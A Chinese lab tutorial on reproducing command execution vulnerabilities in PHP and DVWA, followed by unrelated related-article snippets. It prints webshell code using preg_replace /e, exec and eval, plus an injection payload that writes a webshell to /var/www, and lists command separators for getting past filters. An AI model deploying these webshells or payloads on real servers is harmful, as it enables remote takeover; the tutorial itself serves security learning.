当前位置: 首页 > news >正文

命令执行漏洞复现攻击:识别威胁并加强安全

环境准备

这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。 

一、攻击相关介绍

原理

  • 主要是输入验证不严格、代码逻辑错误、应用程序或系统中缺少安全机制等。攻击者可以通过构造特定的输入向应用程序或系统注入恶意代码,从而在受攻击的主机上执行任意命令。

使用方法

  • 通过Web应用程序的输入字段注入恶意命令,例如在表单、URL参数、HTTP头等中注入恶意命令。
  • 利用操作系统的命令执行函数或系统调用,执行攻击者构造的恶意命令。
  • 利用应用程序的漏洞,例如文件上传功能,上传恶意文件并执行其中的命令。

使用前提

  • 目标应用程序存在命令执行漏洞,即没有对用户输入进行正确的过滤、验证或转义。
  • 攻击者能够与目标应用程序进行交互,例如能够提交表单、发送请求等。
  • 攻击者能够构造恶意输入并将其注入到应用程序中。

常见的命令执行类型:

  1. 远程命令执行(Remote Command Execution):攻击者通过远程发送恶意请求或利用应用程序的漏洞,成功地执行远程系统命令。这种类型的漏洞通常涉及网络通信和远程执行代码。

  2. 本地命令执行(Local Command Execution):攻击者通过直接访问受影响系统,利用应用程序的漏洞执行本地系统命令。这种类型的漏洞通常涉及身份验证绕过或本地文件包含等问题。

  3. 代码注入(Code Injection):攻击者通过向应用程序输入注入恶意代码来实现执行任意命令的目的。常见的代码注入包括SQL注入、OS命令注入和LDAP注入等。

  4. 命令拼接(Command Concatenation):攻击者通过利用应用程序对命令字符串的错误处理,将恶意命令与原始命令拼接在一起,导致执行恶意操作。常见的拼接方式包括使用特殊字符、绕过命令过滤等手法。

二、攻击复现

远程代码执行 - preg_replace函数示例

在php的www目录下创建一个preg_replace.php文件,内容如下:

<?php preg_replace("/test/e",$_POST["cmd"],"just test");?>

然后使用工具连接,菜刀、蚁剑、或浏览器插件都可以

都连接上了,想干嘛就干嘛 

 

远程系统命令执行

在php的www目录下创建一个exec.php文件,内容如下:

<?php $cmd=$_POST['cmd'];@exec($cmd,$return);  // 执行$cmd,并把结果给数组$returnvar_dump($return)       // 输出$return
?>

或者在DVWA靶场上复现

如:127.0.0.1&&ipconfig             (ipconfig是查看主机的ip信息)

通过命令执行写入一句话马

攻击payload

127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php

这个命令的目的是在服务器上创建一个名为 shell.php 的文件,其中包含 PHP 代码。让我们逐步分析该命令:

  • 127.0.0.1: 这是一个IP地址(本地回环地址),代表要连接的目标主机。

  • |:管道符号,用于将前一个命令的输出作为后一个命令的输入。

  • echo "<?php @eval(\$_POST[\"cmd\"])?>": 这是一个echo命令,它将字符串 <?php @eval(\$_POST["cmd"])?> 输出到标准输出。

  • >:重定向操作符,将前一个命令的输出写入到后一个命令指定的文件中。

  • /var/www/shell.php:这是目标文件路径,表示要将输出写入到 /var/www/ 目录下的名为 shell.php 的文件。

综上所述,如果成功执行此命令,则会在服务器的 /var/www/ 目录下创建一个名为 shell.php 的文件,并将 <?php @eval(\$_POST["cmd"])?> 的内容写入到该文件中。由于该PHP代码使用了 eval 函数,它会执行用户在 POST 请求(通过 cmd 参数)中输入的命令。

下面是一些常见的命令连接符及其作用:(如果管道符“|”被过滤了就可以使用其他的代替)
  1. &:将两个命令并行执行,无论前一个命令是否成功。

  2. &&:只有当前一个命令成功执行时,才会执行后一个命令。

  3. |:将前一个命令的输出作为后一个命令的输入。

  4. ||:只有当前一个命令执行失败时,才会执行后一个命令。

复现
在靶机中查看木马文件 

最后就能在靶机看到我们的文件了,我们的文件保存在/var/www/目录下,查看方法:

  • cd  /var/www/    ->  ls          # 之后就能看到/var/www/下的文件信息

我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件

使用蚁剑或菜刀连接木马

​ 

成功进入目标文件管理界面,攻击复现成功

注意:虽然我们的shell.php木马文件存放在/var/www/目录下,但是我们连接只需要使用靶机IP+文件名即可。因为Web服务器已经将根目录设置为 /var/www/,所以不需要在 URL 中显式指定该目录。只需使用 http://<IP地址>/文件名 的格式即可访问该文件。

相关文章:

命令执行漏洞复现攻击:识别威胁并加强安全

环境准备 这篇文章旨在用于网络安全学习&#xff0c;请勿进行任何非法行为&#xff0c;否则后果自负。 一、攻击相关介绍 原理 主要是输入验证不严格、代码逻辑错误、应用程序或系统中缺少安全机制等。攻击者可以通过构造特定的输入向应用程序或系统注入恶意代码&#xff…...

Keepalived实现服务器的高可用性

目录 背景方案简介KeepalivedHeartbeat Keepalived技术介绍Keepalived通信方式时间同步 Keepalived配置案例Keepalived日志配置Keepalived服务配置全局配置段VRRP配置段Keepalived服务启动 服务异常检测 背景 在实际应用中&#xff0c;为了提高服务器的高可用性&#xff0c;往…...

Python程序化交易接口批量获取数据源码

小编举例下面是一个简单的示例代码&#xff0c;展示如何使用Python的程序化交易接口批量获取数据&#xff0c;例如开发文档参考&#xff1a;MetaTradeAPI (metatradeapi) - Gitee.com 签名 int Init(); 功能 API 初始化 参数 无 返回值 授权成功的交易账户数量 返回值 &…...

【强化学习】基本概念

基本大概框架 强化学习的主要角色是 智能体 &#xff08;agent&#xff09;和 环境,环境是智能体存在和互动的世界。智能体根据当前的环境做出action&#xff0c;action影响环境。然后智能体根据新的环境再进行action。 基础用语 状态&#xff08;state, s&#xff09;&…...

0001__安装electron失败 postinstall: `node install.js`

不一样的 npm 快速安装electron的方案 - 简书 2、手动下载出错的文件 打开浏览器输入 下述网址&#xff0c; 找到你要的版本号&#xff0c; 点击后找到你的平台点击即可下载了。https://registry.npmmirror.com/binary.html?pathelectron/ 作者&#xff1a;一颗人心 链接&…...

Linux测开常用命令总结

文章目录 Linux系统中文件目录树 基本指令的使用&#xff1a; Linux命令的帮助信息查看 --help command --help 说明&#xff1a; 显示command 命令的帮助信息通过man命令查看帮助信息 man command( 命令的名称) man 命令查看的帮助信息更加详细ls&#xff0c;pwd&#xff0c…...

xml转化为txt数据的脚本,为yolo提供训练

这里写自定义目录标题 xml转化为txt数据的脚本 xml转化为txt数据的脚本 代码如下&#xff1a; import xml.etree.ElementTree as ET import os, cv2 import numpy as np from os import listdir from os.path import joinclasses []def convert(size, box):dw 1. / (size[0…...

【H5页面嵌入到小程序或APP中实现手机号点击复制和拨号功能】

在H5界面嵌入到小程序和移动应用&#xff08;安卓和iOS&#xff09;中实现手指点击手机号弹出弹窗&#xff0c;包含呼叫和复制选项&#xff0c;是可以实现的。下面我将为你提供一个基本的示例&#xff0c;并解释在小程序、安卓和iOS中要做的支持工作。 <!DOCTYPE html> …...

Kubernetes技术--k8s核心技术 configMap

1.概述 configMap最主要的作用是存储一些不加密的数据到/etcd,让pod以变量或者数据卷(volume)挂载到容器。 应用场景:配置文件、存储信息等 2.使用 -1.创建配置文件。 这里我们需要先编写一个配置文件。使用redis,如下所示:...

Springboot动态修改日志级别

在开发和运维过程中&#xff0c;我们经常需要调整日志级别来查看不同级别的日志信息。传统的做法是修改配置文件&#xff0c;然后重启应用程序。但是&#xff0c;在分布式系统中&#xff0c;重启应用程序可能比较麻烦&#xff0c;而且也影响了业务的正常运行。 Springboot提供…...

新手将最简单的springboot部署上tomcat出现的意外问题

现阶段springboot部署到tomcat的文章一抓一大把且都相同,便贴一个地址以展示流程: SpringBoot打war包部署Tomcat(最全)_spring boot war 部署tomcat_聊Java的博客-CSDN博客 那么就说一下我出现的问题: 在完整复现流程且确认代码无误的情况下,部署到tomcat,此时问题出现了:启动…...

P1177 【模板】排序(Sort排序)

题目描述 将读入的 N N N 个数从小到大排序后输出。 输入格式 第一行为一个正整数 N N N。 第二行包含 N N N 个空格隔开的正整数 a i a_i ai​&#xff0c;为你需要进行排序的数。 输出格式 将给定的 N N N 个数从小到大输出&#xff0c;数之间空格隔开&#xff0c…...

软件测试(黑盒测试、白盒测试、灰盒测试)

软件测试方法大类上分为黑盒测试、白盒测试和灰盒测试三种 一、黑盒测试 黑盒测试通俗来说即不知道代码是怎么写的。具体实现逻辑&#xff0c;基于代码输入有哪些应该输出什么进行测试的方法。其方法有&#xff1a;基于直觉和经验的方法&#xff08;IEBT&#xff09;、基于需…...

昨天面试的时候被提问到的问题集合。

1、vue的双向绑定原理是什么&#xff1f;里面的关键点在哪里&#xff1f; 2、实现水平垂直居中的方式&#xff1f; 3、常用伪元素有哪一些&#xff1f; 4、移动端如何适配不同屏幕尺寸&#xff1f; 5、本地存储有哪一些&#xff1f;他们三者有什么区别&#xff1f; 6、JS的数据…...

广电运营商三网融合监控运维方案

随着三网融合逐步发展、深化&#xff0c;广电网络从为用户提供原本单一的信息服务转向了集语音、文字、图像为一体的信息服务&#xff0c;同时也实现了由单一独立的网络向综合性网络的改变。如何在业务的融合与竞争中创造核心竞争力&#xff0c;利用自身网络覆盖率上的优势&…...

数据库锁简析

数据库大并发操作要考虑死锁和锁的性能问题。用T1代表一个数据库执行请求&#xff0c;T2代表另一个请求&#xff0c;也可以理解为T1为一个线程&#xff0c;T2 为另一个线程。T3,T4以此类推。下面以SQL Server为例。 锁的种类 共享锁(Shared lock) 例1&#xff1a;T1: select…...

说说广播流与普通流

分析&回答 user actions 可以看作是事件流&#xff08;普通流&#xff09;patterns 为广播流,把全量数据加载到不同的计算节点。 广播流 Broadcast是一份存储在TaskManager内存中的只读的缓存数据在执行job的过程中需要反复使用的数据&#xff0c;为了达到数据共享&am…...

内卷的本质和大数据在计量经济学领域的运用思考

内卷的本质和大数据在计量经济学领域的运用思考 今天我们来思考两个问题&#xff1a; 当下经济的困局在哪里&#xff1f;为何内卷越来越严重&#xff1f;内卷的本质是什么&#xff1f;为何会出现内卷&#xff1f;市场经济运行的底层逻辑是什么&#xff1f;西方经济学理论的指导…...

毕业设计-摄像头识别二维码

本毕业设计采用imx6ull-linux4.1.15-qt5.6开发板进行测试 相关交叉编译包和摄像头测试程序已上传&#xff1a;https://download.csdn.net/download/qq_42952079/88282608 将zbar和opencv下的lib库文件拷贝到开发板的lib目录下&#xff0c;将camera可执行文件拷贝到开发板目录下…...

封装动态表单组件

技术栈&#xff1a;vue2 js webpack 需求&#xff1a; 利用数据渲染表单&#xff0c;实现代码的精简化及效率的提升。 效果图&#xff1a; 封装的组件&#xff1a; <div v-if"formConfig"><el-formv-bind"$attrs"ref"formDom":model…...

uniapp 对接腾讯云IM群组成员管理(增删改查)

UniApp 实战&#xff1a;腾讯云IM群组成员管理&#xff08;增删改查&#xff09; 一、前言 在社交类App开发中&#xff0c;群组成员管理是核心功能之一。本文将基于UniApp框架&#xff0c;结合腾讯云IM SDK&#xff0c;详细讲解如何实现群组成员的增删改查全流程。 权限校验…...

MPNet:旋转机械轻量化故障诊断模型详解python代码复现

目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...

python打卡day49

知识点回顾&#xff1a; 通道注意力模块复习空间注意力模块CBAM的定义 作业&#xff1a;尝试对今天的模型检查参数数目&#xff0c;并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...

PHP和Node.js哪个更爽?

先说结论&#xff0c;rust完胜。 php&#xff1a;laravel&#xff0c;swoole&#xff0c;webman&#xff0c;最开始在苏宁的时候写了几年php&#xff0c;当时觉得php真的是世界上最好的语言&#xff0c;因为当初活在舒适圈里&#xff0c;不愿意跳出来&#xff0c;就好比当初活在…...

.Net框架,除了EF还有很多很多......

文章目录 1. 引言2. Dapper2.1 概述与设计原理2.2 核心功能与代码示例基本查询多映射查询存储过程调用 2.3 性能优化原理2.4 适用场景 3. NHibernate3.1 概述与架构设计3.2 映射配置示例Fluent映射XML映射 3.3 查询示例HQL查询Criteria APILINQ提供程序 3.4 高级特性3.5 适用场…...

uni-app学习笔记二十二---使用vite.config.js全局导入常用依赖

在前面的练习中&#xff0c;每个页面需要使用ref&#xff0c;onShow等生命周期钩子函数时都需要像下面这样导入 import {onMounted, ref} from "vue" 如果不想每个页面都导入&#xff0c;需要使用node.js命令npm安装unplugin-auto-import npm install unplugin-au…...

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?

论文网址&#xff1a;pdf 英文是纯手打的&#xff01;论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误&#xff0c;若有发现欢迎评论指正&#xff01;文章偏向于笔记&#xff0c;谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

linux 下常用变更-8

1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行&#xff0c;YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID&#xff1a; YW3…...

c#开发AI模型对话

AI模型 前面已经介绍了一般AI模型本地部署&#xff0c;直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型&#xff0c;但是目前国内可能使用不多&#xff0c;至少实践例子很少看见。开发训练模型就不介绍了&am…...

【分享】推荐一些办公小工具

1、PDF 在线转换 https://smallpdf.com/cn/pdf-tools 推荐理由&#xff1a;大部分的转换软件需要收费&#xff0c;要么功能不齐全&#xff0c;而开会员又用不了几次浪费钱&#xff0c;借用别人的又不安全。 这个网站它不需要登录或下载安装。而且提供的免费功能就能满足日常…...